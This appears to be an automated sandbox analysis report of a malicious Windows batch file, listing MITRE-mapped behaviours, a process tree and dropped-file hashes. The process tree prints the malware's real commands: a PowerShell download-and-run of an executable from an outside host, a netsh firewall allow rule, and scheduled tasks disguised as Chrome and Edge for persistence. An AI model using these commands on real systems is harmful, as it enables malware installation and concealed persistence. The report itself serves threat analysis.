Analysis

  • max time kernel
    1799s
  • max time network
    1798s
  • platform
    windows11-21h2_x64
  • resource
    win11-20240802-en
  • resource tags

    arch:x64arch:x86image:win11-20240802-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    29/08/2024, 17:49

General

  • Target
    penis.bat
  • Size 211B
  • Sample240829-weg2kstcnd
  • SHA256 87093db0124c0b77b6c8c538684a2471266297abef18ec612c2bd5dd2a4edbda
  • MD5 SHA1 SHA512

Malware Config

Signatures

  • Modifies WinLogon for persistence 2 TTPs 1 IoCs
  • Blocklisted process makes network request 2 IoCs
  • Event Triggered Execution: AppInit DLLs 1 TTPs

    Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by AppInit DLLs loaded into processes.

  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 6 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Drops file in Windows directory 6 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 5 IoCs
  • Suspicious use of WriteProcessMemory 14 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\penis.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2052
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell (new-object System.Net.WebClient).DownloadFile(' https://download.oxy.st/get/faab8adaa31eef0b079c7374e28c17be/test.exe','C:\Windows\Temp\updater.exe')
      2⤵
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1440
    • C:\Windows\Temp\updater.exe
      C:\Windows\Temp\updater.exe
      2⤵
      • Modifies WinLogon for persistence
      • Executes dropped EXE
      • Drops file in Windows directory
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3940
      • C:\Windows\SYSTEM32\CMD.exe
        "CMD" netsh advfirewall firewall add rule name="f%Q.7#>y7Qx_7C" dir=in action=allow program="C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCookies\xdwdOperaUpdater" enable=yes & exit
        3⤵
          PID:5964
        • C:\Windows\SYSTEM32\cmd.exe
          "cmd" /c schtasks /create /f /sc minute /mo 1 /tn "Google Chrome" /tr "C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCookies\xdwdOperaUpdater" /RL HIGHEST & exit
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:2008
          • C:\Windows\system32\schtasks.exe
            schtasks /create /f /sc minute /mo 1 /tn "Google Chrome" /tr "C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCookies\xdwdOperaUpdater" /RL HIGHEST
            4⤵
            • Scheduled Task/Job: Scheduled Task
            PID:4100
        • C:\Windows\SYSTEM32\cmd.exe
          "cmd" /c schtasks /create /f /sc minute /mo 30 /tn "Microsoft Edge" /tr "C:\Windows\xdwdEaDM" /RL HIGHEST & exit
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:32
          • C:\Windows\system32\schtasks.exe
            schtasks /create /f /sc minute /mo 30 /tn "Microsoft Edge" /tr "C:\Windows\xdwdEaDM" /RL HIGHEST
            4⤵
            • Scheduled Task/Job: Scheduled Task
            PID:3980
    • C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCookies\xdwdOperaUpdater
      C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCookies\xdwdOperaUpdater
      1⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • Drops file in Windows directory
      • Suspicious use of AdjustPrivilegeToken
      PID:5040
    • C:\Windows\xdwdEaDM
      C:\Windows\xdwdEaDM
      1⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • Drops file in Windows directory
      • Suspicious use of AdjustPrivilegeToken
      PID:776

    Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          __PSScriptPolicyTest_skxiem4t.ps1.ps1

          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_skxiem4t.ps1.ps1
          • Size 60B
          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
          • MD5 SHA1 SHA512

          updater.exe

          • Path C:\Windows\Temp\updater.exe
          • Size 513KB
          • SHA256 ac2b8fbf75ccf1194ee43b1122889125a0923eadd3acacd99dea046aa21e242d
          • MD5 SHA1 SHA512 SSDEEP

          xdwd.dll

          • Path C:\Windows\xdwd.dll
          • Size 136KB
          • SHA256 35c8d022e1d917f1aabdceae98097ccc072161b302f84c768ca63e4b32ac2b66
          • MD5 SHA1 SHA512 SSDEEP

          memory/1440-16-0x00007FFF24C50000-0x00007FFF25712000-memory.dmp

          memory/1440-11-0x00007FFF24C50000-0x00007FFF25712000-memory.dmp

          memory/1440-12-0x00007FFF24C50000-0x00007FFF25712000-memory.dmp

          memory/1440-0-0x00007FFF24C53000-0x00007FFF24C55000-memory.dmp

          memory/1440-10-0x00007FFF24C50000-0x00007FFF25712000-memory.dmp

          memory/1440-9-0x0000029CFCBA0000-0x0000029CFCBC2000-memory.dmp

          memory/3940-20-0x0000000000E30000-0x0000000000EB4000-memory.dmp

          memory/3940-21-0x00007FFF24C50000-0x00007FFF25712000-memory.dmp

          memory/3940-24-0x00007FFF24C50000-0x00007FFF25712000-memory.dmp

          memory/3940-90-0x00007FFF24C50000-0x00007FFF25712000-memory.dmp